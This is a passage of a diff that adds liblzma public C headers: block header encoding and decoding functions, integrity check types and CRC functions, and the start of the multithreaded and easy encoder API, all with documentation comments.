* four and doesn't exceed LZMA_BLOCK_HEADER_SIZE_MAX. Increasing header_size
|
||||||
|
* just means that lzma_block_header_encode() will add Header Padding.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Size calculated successfully and stored to
|
||||||
|
* block->header_size.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unsupported version, filters or
|
||||||
|
* filter options.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid values like compressed_size == 0.
|
||||||
|
*
|
||||||
|
* \note This doesn't check that all the options are valid i.e. this
|
||||||
|
* may return LZMA_OK even if lzma_block_header_encode() or
|
||||||
|
* lzma_block_encoder() would fail. If you want to validate the
|
||||||
|
* filter chain, consider using lzma_memlimit_encoder() which as
|
||||||
|
* a side-effect validates the filter chain.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_header_size(lzma_block *block)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Encode Block Header
|
||||||
|
*
|
||||||
|
* The caller must have calculated the size of the Block Header already with
|
||||||
|
* lzma_block_header_size(). If a value larger than the one calculated by
|
||||||
|
* lzma_block_header_size() is used, the Block Header will be padded to the
|
||||||
|
* specified size.
|
||||||
|
*
|
||||||
|
* \param out Beginning of the output buffer. This must be
|
||||||
|
* at least block->header_size bytes.
|
||||||
|
* \param block Block options to be encoded.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful. block->header_size
|
||||||
|
* bytes were written to output buffer.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Invalid or unsupported options.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid arguments, for example
|
||||||
|
* block->header_size is invalid or block->filters is NULL.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_header_encode(
|
||||||
|
const lzma_block *block, uint8_t *out)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode Block Header
|
||||||
|
*
|
||||||
|
* block->version should (usually) be set to the highest value supported
|
||||||
|
* by the application. If the application sets block->version to a value
|
||||||
|
* higher than supported by the current liblzma version, this function will
|
||||||
|
* downgrade block->version to the highest value supported by it. Thus one
|
||||||
|
* should check the value of block->version after calling this function if
|
||||||
|
* block->version was set to a non-zero value and the application doesn't
|
||||||
|
* otherwise know that the liblzma version being used is new enough to
|
||||||
|
* support the specified block->version.
|
||||||
|
*
|
||||||
|
* The size of the Block Header must have already been decoded with
|
||||||
|
* lzma_block_header_size_decode() macro and stored to block->header_size.
|
||||||
|
*
|
||||||
|
* The integrity check type from Stream Header must have been stored
|
||||||
|
* to block->check.
|
||||||
|
*
|
||||||
|
* block->filters must have been allocated, but they don't need to be
|
||||||
|
* initialized (possible existing filter options are not freed).
|
||||||
|
*
|
||||||
|
* \param block Destination for Block options.
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() (and also free()
|
||||||
|
* if an error occurs).
|
||||||
|
* \param in Beginning of the input buffer. This must be
|
||||||
|
* at least block->header_size bytes.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Decoding was successful. block->header_size
|
||||||
|
* bytes were read from the input buffer.
|
||||||
|
* - LZMA_OPTIONS_ERROR: The Block Header specifies some
|
||||||
|
* unsupported options such as unsupported filters. This can
|
||||||
|
* happen also if block->version was set to a too low value
|
||||||
|
* compared to what would be required to properly represent
|
||||||
|
* the information stored in the Block Header.
|
||||||
|
* - LZMA_DATA_ERROR: Block Header is corrupt, for example,
|
||||||
|
* the CRC32 doesn't match.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid arguments, for example
|
||||||
|
* block->header_size is invalid or block->filters is NULL.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_header_decode(lzma_block *block,
|
||||||
|
const lzma_allocator *allocator, const uint8_t *in)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Validate and set Compressed Size according to Unpadded Size
|
||||||
|
*
|
||||||
|
* Block Header stores Compressed Size, but Index has Unpadded Size. If the
|
||||||
|
* application has already parsed the Index and is now decoding Blocks,
|
||||||
|
* it can calculate Compressed Size from Unpadded Size. This function does
|
||||||
|
* exactly that with error checking:
|
||||||
|
*
|
||||||
|
* - Compressed Size calculated from Unpadded Size must be positive integer,
|
||||||
|
* that is, Unpadded Size must be big enough that after Block Header and
|
||||||
|
* Check fields there's still at least one byte for Compressed Size.
|
||||||
|
*
|
||||||
|
* - If Compressed Size was present in Block Header, the new value
|
||||||
|
* calculated from Unpadded Size is compared against the value
|
||||||
|
* from Block Header.
|
||||||
|
*
|
||||||
|
* \note This function must be called _after_ decoding the Block Header
|
||||||
|
* field so that it can properly validate Compressed Size if it
|
||||||
|
* was present in Block Header.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: block->compressed_size was set successfully.
|
||||||
|
* - LZMA_DATA_ERROR: unpadded_size is too small compared to
|
||||||
|
* block->header_size and lzma_check_size(block->check).
|
||||||
|
* - LZMA_PROG_ERROR: Some values are invalid. For example,
|
||||||
|
* block->header_size must be a multiple of four and
|
||||||
|
* between 8 and 1024 inclusive.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_compressed_size(
|
||||||
|
lzma_block *block, lzma_vli unpadded_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate Unpadded Size
|
||||||
|
*
|
||||||
|
* The Index field stores Unpadded Size and Uncompressed Size. The latter
|
||||||
|
* can be taken directly from the lzma_block structure after coding a Block,
|
||||||
|
* but Unpadded Size needs to be calculated from Block Header Size,
|
||||||
|
* Compressed Size, and size of the Check field. This is where this function
|
||||||
|
* is needed.
|
||||||
|
*
|
||||||
|
* \return Unpadded Size on success, or zero on error.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_block_unpadded_size(const lzma_block *block)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate the total encoded size of a Block
|
||||||
|
*
|
||||||
|
* This is equivalent to lzma_block_unpadded_size() except that the returned
|
||||||
|
* value includes the size of the Block Padding field.
|
||||||
|
*
|
||||||
|
* \return On success, total encoded size of the Block. On error,
|
||||||
|
* zero is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_block_total_size(const lzma_block *block)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .xz Block encoder
|
||||||
|
*
|
||||||
|
* Valid actions for lzma_code() are LZMA_RUN, LZMA_SYNC_FLUSH (only if the
|
||||||
|
* filter chain supports it), and LZMA_FINISH.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: All good, continue with lzma_code().
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK: block->check specifies a Check ID
|
||||||
|
* that is not supported by this build of liblzma. Initializing
|
||||||
|
* the encoder failed.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_encoder(
|
||||||
|
lzma_stream *strm, lzma_block *block)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .xz Block decoder
|
||||||
|
*
|
||||||
|
* Valid actions for lzma_code() are LZMA_RUN and LZMA_FINISH. Using
|
||||||
|
* LZMA_FINISH is not required. It is supported only for convenience.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: All good, continue with lzma_code().
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK: Initialization was successful, but
|
||||||
|
* the given Check ID is not supported, thus Check will be
|
||||||
|
* ignored.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_decoder(
|
||||||
|
lzma_stream *strm, lzma_block *block)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate maximum output size for single-call Block encoding
|
||||||
|
*
|
||||||
|
* This is equivalent to lzma_stream_buffer_bound() but for .xz Blocks.
|
||||||
|
* See the documentation of lzma_stream_buffer_bound().
|
||||||
|
*/
|
||||||
|
extern LZMA_API(size_t) lzma_block_buffer_bound(size_t uncompressed_size)
|
||||||
|
lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call .xz Block encoder
|
||||||
|
*
|
||||||
|
* In contrast to the multi-call encoder initialized with
|
||||||
|
* lzma_block_encoder(), this function encodes also the Block Header. This
|
||||||
|
* is required to make it possible to write appropriate Block Header also
|
||||||
|
* in case the data isn't compressible, and different filter chain has to be
|
||||||
|
* used to encode the data in uncompressed form using uncompressed chunks
|
||||||
|
* of the LZMA2 filter.
|
||||||
|
*
|
||||||
|
* When the data isn't compressible, header_size, compressed_size, and
|
||||||
|
* uncompressed_size are set just like when the data was compressible, but
|
||||||
|
* it is possible that header_size is too small to hold the filter chain
|
||||||
|
* specified in block->filters, because that isn't necessarily the filter
|
||||||
|
* chain that was actually used to encode the data. lzma_block_unpadded_size()
|
||||||
|
* still works normally, because it doesn't read the filters array.
|
||||||
|
*
|
||||||
|
* \param block Block options: block->version, block->check,
|
||||||
|
* and block->filters must have been initialized.
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() and free().
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_size Size of the input buffer
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if encoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_BUF_ERROR: Not enough output buffer space.
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_DATA_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_buffer_encode(
|
||||||
|
lzma_block *block, const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t in_size,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call uncompressed .xz Block encoder
|
||||||
|
*
|
||||||
|
* This is like lzma_block_buffer_encode() except this doesn't try to
|
||||||
|
* compress the data and instead encodes the data using LZMA2 uncompressed
|
||||||
|
* chunks. The required output buffer size can be determined with
|
||||||
|
* lzma_block_buffer_bound().
|
||||||
|
*
|
||||||
|
* Since the data won't be compressed, this function ignores block->filters.
|
||||||
|
* This function doesn't take lzma_allocator because this function doesn't
|
||||||
|
* allocate any memory from the heap.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_uncomp_encode(lzma_block *block,
|
||||||
|
const uint8_t *in, size_t in_size,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call .xz Block decoder
|
||||||
|
*
|
||||||
|
* This is single-call equivalent of lzma_block_decoder(), and requires that
|
||||||
|
* the caller has already decoded Block Header and checked its memory usage.
|
||||||
|
*
|
||||||
|
* \param block Block options just like with lzma_block_decoder().
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() and free().
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_pos The next byte will be read from in[*in_pos].
|
||||||
|
* *in_pos is updated only if decoding succeeds.
|
||||||
|
* \param in_size Size of the input buffer; the first byte that
|
||||||
|
* won't be read is in[in_size].
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if encoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Decoding was successful.
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_DATA_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_BUF_ERROR: Output buffer was too small.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_block_buffer_decode(
|
||||||
|
lzma_block *block, const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t *in_pos, size_t in_size,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size)
|
||||||
|
lzma_nothrow;
|
||||||
150
src/include/lzma/check.h
Normal file
150
src/include/lzma/check.h
Normal file
@ -0,0 +1,150 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/check.h
|
||||||
|
* \brief Integrity checks
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Type of the integrity check (Check ID)
|
||||||
|
*
|
||||||
|
* The .xz format supports multiple types of checks that are calculated
|
||||||
|
* from the uncompressed data. They vary in both speed and ability to
|
||||||
|
* detect errors.
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_CHECK_NONE = 0,
|
||||||
|
/**<
|
||||||
|
* No Check is calculated.
|
||||||
|
*
|
||||||
|
* Size of the Check field: 0 bytes
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_CHECK_CRC32 = 1,
|
||||||
|
/**<
|
||||||
|
* CRC32 using the polynomial from the IEEE 802.3 standard
|
||||||
|
*
|
||||||
|
* Size of the Check field: 4 bytes
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_CHECK_CRC64 = 4,
|
||||||
|
/**<
|
||||||
|
* CRC64 using the polynomial from the ECMA-182 standard
|
||||||
|
*
|
||||||
|
* Size of the Check field: 8 bytes
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_CHECK_SHA256 = 10
|
||||||
|
/**<
|
||||||
|
* SHA-256
|
||||||
|
*
|
||||||
|
* Size of the Check field: 32 bytes
|
||||||
|
*/
|
||||||
|
} lzma_check;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Maximum valid Check ID
|
||||||
|
*
|
||||||
|
* The .xz file format specification specifies 16 Check IDs (0-15). Some
|
||||||
|
* of them are only reserved, that is, no actual Check algorithm has been
|
||||||
|
* assigned. When decoding, liblzma still accepts unknown Check IDs for
|
||||||
|
* future compatibility. If a valid but unsupported Check ID is detected,
|
||||||
|
* liblzma can indicate a warning; see the flags LZMA_TELL_NO_CHECK,
|
||||||
|
* LZMA_TELL_UNSUPPORTED_CHECK, and LZMA_TELL_ANY_CHECK in container.h.
|
||||||
|
*/
|
||||||
|
#define LZMA_CHECK_ID_MAX 15
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Test if the given Check ID is supported
|
||||||
|
*
|
||||||
|
* Return true if the given Check ID is supported by this liblzma build.
|
||||||
|
* Otherwise false is returned. It is safe to call this with a value that
|
||||||
|
* is not in the range [0, 15]; in that case the return value is always false.
|
||||||
|
*
|
||||||
|
* You can assume that LZMA_CHECK_NONE and LZMA_CHECK_CRC32 are always
|
||||||
|
* supported (even if liblzma is built with limited features).
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_bool) lzma_check_is_supported(lzma_check check)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the size of the Check field with the given Check ID
|
||||||
|
*
|
||||||
|
* Although not all Check IDs have a check algorithm associated, the size of
|
||||||
|
* every Check is already frozen. This function returns the size (in bytes) of
|
||||||
|
* the Check field with the specified Check ID. The values are:
|
||||||
|
* { 0, 4, 4, 4, 8, 8, 8, 16, 16, 16, 32, 32, 32, 64, 64, 64 }
|
||||||
|
*
|
||||||
|
* If the argument is not in the range [0, 15], UINT32_MAX is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint32_t) lzma_check_size(lzma_check check)
|
||||||
|
lzma_nothrow lzma_attr_const;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Maximum size of a Check field
|
||||||
|
*/
|
||||||
|
#define LZMA_CHECK_SIZE_MAX 64
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate CRC32
|
||||||
|
*
|
||||||
|
* Calculate CRC32 using the polynomial from the IEEE 802.3 standard.
|
||||||
|
*
|
||||||
|
* \param buf Pointer to the input buffer
|
||||||
|
* \param size Size of the input buffer
|
||||||
|
* \param crc Previously returned CRC value. This is used to
|
||||||
|
* calculate the CRC of a big buffer in smaller chunks.
|
||||||
|
* Set to zero when starting a new calculation.
|
||||||
|
*
|
||||||
|
* \return Updated CRC value, which can be passed to this function
|
||||||
|
* again to continue CRC calculation.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint32_t) lzma_crc32(
|
||||||
|
const uint8_t *buf, size_t size, uint32_t crc)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate CRC64
|
||||||
|
*
|
||||||
|
* Calculate CRC64 using the polynomial from the ECMA-182 standard.
|
||||||
|
*
|
||||||
|
* This function is used similarly to lzma_crc32(). See its documentation.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_crc64(
|
||||||
|
const uint8_t *buf, size_t size, uint64_t crc)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA-256 functions are currently not exported to public API.
|
||||||
|
* Contact Lasse Collin if you think it should be.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the type of the integrity check
|
||||||
|
*
|
||||||
|
* This function can be called only immediately after lzma_code() has
|
||||||
|
* returned LZMA_NO_CHECK, LZMA_UNSUPPORTED_CHECK, or LZMA_GET_CHECK.
|
||||||
|
* Calling this function in any other situation has undefined behavior.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_check) lzma_get_check(const lzma_stream *strm)
|
||||||
|
lzma_nothrow;
|
||||||
632
src/include/lzma/container.h
Normal file
632
src/include/lzma/container.h
Normal file
@ -0,0 +1,632 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/container.h
|
||||||
|
* \brief File formats
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/************
|
||||||
|
* Encoding *
|
||||||
|
************/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Default compression preset
|
||||||
|
*
|
||||||
|
* It's not straightforward to recommend a default preset, because in some
|
||||||
|
* cases keeping the resource usage relatively low is more important that
|
||||||
|
* getting the maximum compression ratio.
|
||||||
|
*/
|
||||||
|
#define LZMA_PRESET_DEFAULT UINT32_C(6)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Mask for preset level
|
||||||
|
*
|
||||||
|
* This is useful only if you need to extract the level from the preset
|
||||||
|
* variable. That should be rare.
|
||||||
|
*/
|
||||||
|
#define LZMA_PRESET_LEVEL_MASK UINT32_C(0x1F)
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Preset flags
|
||||||
|
*
|
||||||
|
* Currently only one flag is defined.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Extreme compression preset
|
||||||
|
*
|
||||||
|
* This flag modifies the preset to make the encoding significantly slower
|
||||||
|
* while improving the compression ratio only marginally. This is useful
|
||||||
|
* when you don't mind wasting time to get as small result as possible.
|
||||||
|
*
|
||||||
|
* This flag doesn't affect the memory usage requirements of the decoder (at
|
||||||
|
* least not significantly). The memory usage of the encoder may be increased
|
||||||
|
* a little but only at the lowest preset levels (0-3).
|
||||||
|
*/
|
||||||
|
#define LZMA_PRESET_EXTREME (UINT32_C(1) << 31)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Multithreading options
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/**
|
||||||
|
* \brief Flags
|
||||||
|
*
|
||||||
|
* Set this to zero if no flags are wanted.
|
||||||
|
*
|
||||||
|
* No flags are currently supported.
|
||||||
|
*/
|
||||||
|
uint32_t flags;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Number of worker threads to use
|
||||||
|
*/
|
||||||
|
uint32_t threads;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Maximum uncompressed size of a Block
|
||||||
|
*
|
||||||
|
* The encoder will start a new .xz Block every block_size bytes.
|
||||||
|
* Using LZMA_FULL_FLUSH or LZMA_FULL_BARRIER with lzma_code()
|
||||||
|
* the caller may tell liblzma to start a new Block earlier.
|
||||||
|
*
|
||||||
|
* With LZMA2, a recommended block size is 2-4 times the LZMA2
|
||||||
|
* dictionary size. With very small dictionaries, it is recommended
|
||||||
|
* to use at least 1 MiB block size for good compression ratio, even
|
||||||
|
* if this is more than four times the dictionary size. Note that
|
||||||
|
* these are only recommendations for typical use cases; feel free
|
||||||
|
* to use other values. Just keep in mind that using a block size
|
||||||
|
* less than the LZMA2 dictionary size is waste of RAM.
|
||||||
|
*
|
||||||
|
* Set this to 0 to let liblzma choose the block size depending
|
||||||
|
* on the compression options. For LZMA2 it will be 3*dict_size
|
||||||
|
* or 1 MiB, whichever is more.
|
||||||
|
*
|
||||||
|
* For each thread, about 3 * block_size bytes of memory will be
|
||||||
|
* allocated. This may change in later liblzma versions. If so,
|
||||||
|
* the memory usage will probably be reduced, not increased.
|
||||||
|
*/
|
||||||
|
uint64_t block_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Timeout to allow lzma_code() to return early
|
||||||
|
*
|
||||||
|
* Multithreading can make liblzma to consume input and produce
|
||||||
|
* output in a very bursty way: it may first read a lot of input
|
||||||
|
* to fill internal buffers, then no input or output occurs for
|
||||||
|
* a while.
|
||||||
|
*
|
||||||
|
* In single-threaded mode, lzma_code() won't return until it has
|
||||||
|
* either consumed all the input or filled the output buffer. If
|
||||||
|
* this is done in multithreaded mode, it may cause a call
|
||||||
|
* lzma_code() to take even tens of seconds, which isn't acceptable
|
||||||
|
* in all applications.
|
||||||
|
*
|
||||||
|
* To avoid very long blocking times in lzma_code(), a timeout
|
||||||
|
* (in milliseconds) may be set here. If lzma_code() would block
|
||||||
|
* longer than this number of milliseconds, it will return with
|
||||||
|
* LZMA_OK. Reasonable values are 100 ms or more. The xz command
|
||||||
|
* line tool uses 300 ms.
|
||||||
|
*
|
||||||
|
* If long blocking times are fine for you, set timeout to a special
|
||||||
|
* value of 0, which will disable the timeout mechanism and will make
|
||||||
|
* lzma_code() block until all the input is consumed or the output
|
||||||
|
* buffer has been filled.
|
||||||
|
*
|
||||||
|
* \note Even with a timeout, lzma_code() might sometimes take
|
||||||
|
* somewhat long time to return. No timing guarantees
|
||||||
|
* are made.
|
||||||
|
*/
|
||||||
|
uint32_t timeout;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compression preset (level and possible flags)
|
||||||
|
*
|
||||||
|
* The preset is set just like with lzma_easy_encoder().
|
||||||
|
* The preset is ignored if filters below is non-NULL.
|
||||||
|
*/
|
||||||
|
uint32_t preset;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Filter chain (alternative to a preset)
|
||||||
|
*
|
||||||
|
* If this is NULL, the preset above is used. Otherwise the preset
|
||||||
|
* is ignored and the filter chain specified here is used.
|
||||||
|
*/
|
||||||
|
const lzma_filter *filters;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Integrity check type
|
||||||
|
*
|
||||||
|
* See check.h for available checks. The xz command line tool
|
||||||
|
* defaults to LZMA_CHECK_CRC64, which is a good choice if you
|
||||||
|
* are unsure.
|
||||||
|
*/
|
||||||
|
lzma_check check;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Reserved space to allow possible future extensions without
|
||||||
|
* breaking the ABI. You should not touch these, because the names
|
||||||
|
* of these variables may change. These are and will never be used
|
||||||
|
* with the currently supported options, so it is safe to leave these
|
||||||
|
* uninitialized.
|
||||||
|
*/
|
||||||
|
lzma_reserved_enum reserved_enum1;
|
||||||
|
lzma_reserved_enum reserved_enum2;
|
||||||
|
lzma_reserved_enum reserved_enum3;
|
||||||
|
uint32_t reserved_int1;
|
||||||
|
uint32_t reserved_int2;
|
||||||
|
uint32_t reserved_int3;
|
||||||
|
uint32_t reserved_int4;
|
||||||
|
uint64_t reserved_int5;
|
||||||
|
uint64_t reserved_int6;
|
||||||
|
uint64_t reserved_int7;
|
||||||
|
uint64_t reserved_int8;
|
||||||
|
void *reserved_ptr1;
|
||||||
|
void *reserved_ptr2;
|
||||||
|
void *reserved_ptr3;
|
||||||
|
void *reserved_ptr4;
|
||||||
|
|
||||||
|
} lzma_mt;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate approximate memory usage of easy encoder
|
||||||
|
*
|
||||||
|
* This function is a wrapper for lzma_raw_encoder_memusage().
|
||||||
|
*
|
||||||
|
* \param preset Compression preset (level and possible flags)
|
||||||
|
*
|
||||||
|
* \return Number of bytes of memory required for the given
|
||||||
|
* preset when encoding. If an error occurs, for example
|
||||||
|
* due to unsupported preset, UINT64_MAX is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_easy_encoder_memusage(uint32_t preset)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate approximate decoder memory usage of a preset
|
||||||
|
*
|
||||||
|
* This function is a wrapper for lzma_raw_decoder_memusage().
|
||||||
|
*
|
||||||
|
* \param preset Compression preset (level and possible flags)
|
||||||
|
*
|
||||||
|
* \return Number of bytes of memory required to decompress a file
|
||||||
|
* that was compressed using the given preset. If an error
|
||||||
|
* occurs, for example due to unsupported preset, UINT64_MAX
|
||||||
|
* is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_easy_decoder_memusage(uint32_t preset)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize .xz Stream encoder using a preset number
|
||||||
|
*
|
||||||
|
* This function is intended for those who just want to use the basic features
|
||||||
|
* if liblzma (that is, most developers out there).
|
||||||
|
*
|
||||||
|
* \param strm Pointer to lzma_stream that is at least initialized
|
||||||
|
* with LZMA_STREAM_INIT.
|
||||||
|
* \param preset Compression preset to use. A preset consist of level
|
||||||
|
* number and zero or more flags. Usually flags aren't
|
||||||
|
* used, so preset is simply a number [0, 9] which match
|
||||||
|
* the options -0 ... -9 of the xz command line tool.
|
||||||
|
* Additional flags can be be set using bitwise-or with
|
||||||
|
* the preset level number, e.g. 6 | LZMA_PRESET_EXTREME.
|
||||||
|
* \param check Integrity check type to use. See check.h for available
|
||||||
|
* checks. The xz command line tool defaults to
|
||||||
|
* LZMA_CHECK_CRC64, which is a good choice if you are
|
||||||
|
* unsure. LZMA_CHECK_CRC32 is good too as long as the
|
||||||
|
* uncompressed file is not many gigabytes.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Initialization succeeded. Use lzma_code() to
|
||||||
|
* encode your data.
|
||||||
|
* - LZMA_MEM_ERROR: Memory allocation failed.
|
||||||
|
* - LZMA_OPTIONS_ERROR: The given compression preset is not
|
||||||
|
* supported by this build of liblzma.
|
||||||
|
* - LZMA_UNSUPPORTED_CHECK: The given check type is not
|
||||||
|
* supported by this liblzma build.
|
||||||
|
* - LZMA_PROG_ERROR: One or more of the parameters have values
|
||||||
|
* that will never be valid. For example, strm == NULL.
|
||||||
|
*
|
||||||
|
* If initialization fails (return value is not LZMA_OK), all the memory
|
||||||
|
* allocated for *strm by liblzma is always freed. Thus, there is no need
|
||||||
|
* to call lzma_end() after failed initialization.
|
||||||
|
*
|
